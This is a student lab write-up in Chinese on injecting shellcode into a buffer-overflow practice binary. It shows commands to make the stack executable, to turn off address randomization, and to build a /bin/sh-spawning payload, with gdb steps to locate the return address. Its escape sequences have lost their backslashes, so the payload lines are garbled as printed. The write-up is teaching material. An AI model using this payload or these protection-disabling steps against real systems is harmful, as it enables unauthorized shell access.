• 20155334 网络对抗PC平台逆向破解(二)


    注入Shellcode并运行攻击

    shellcode就是一段机器指令(code)

    • 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe)
    • 所以这段机器指令被称为shellcode。
    • 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,功能可以是添加一个用户、运行一条指令等。

    实验步骤

    1. 安装execstack apt-get install execstack

    2. 设置堆栈可执行 execstack -s pwn20155334

    3. 查询文件的堆栈是否可执行 execstack -q pwn20155334

    4. 使用 more /proc/sys/kernel/randomize_va_space 查询地址随机化状态,若是开启状态,则使用 echo "0" > /proc/sys/kernel/randomize_va_space 关闭地址随机化。

    5. 运行并gdb调试

      1. 输入shellcode内容 perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' >input_shellcode
      2. 运行 pwn20155334 ,输入命令 (cat input_shellcode;cat) | ./pwn20155334
      3. 查询进程输入命令 ps -ef | grep pwn20155334
      4. 启动gdb调试这个进程
      5. 通过设置断点 disassemble foo,来查看注入buf的内存地址并且 break *0x080484ae,在另外一个终端中按下回,在gdb中输入c,后输info r esp
    6. (gdb) x/16x 0xffffd43c 看到 01020304了,就是返回地址的位置。shellcode就挨着,所以地址是 0xffffd460

    7. 知道shellcode地址,所以修改为 perl -e 'print "A" x 32;print "x60xd4xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
      查看shellcode转换进制内容 xxd input_shellcode,并运行验证是否成功(cat input_shellcode;cat) | ./pwn20155334

  • 相关阅读:
    域渗透:ptk(pass the key)
    QQ拼音输入法6.0 DLL劫持实现提权
    进程关系
    进程控制
    进程环境
    系统数据文件和信息
    文件和目录
    标准I/O
    文件描述符标志/文件表项
    SSL安全原理
  • 原文地址:https://www.cnblogs.com/bestixx/p/8596226.html
Copyright © 2020-2023  润新知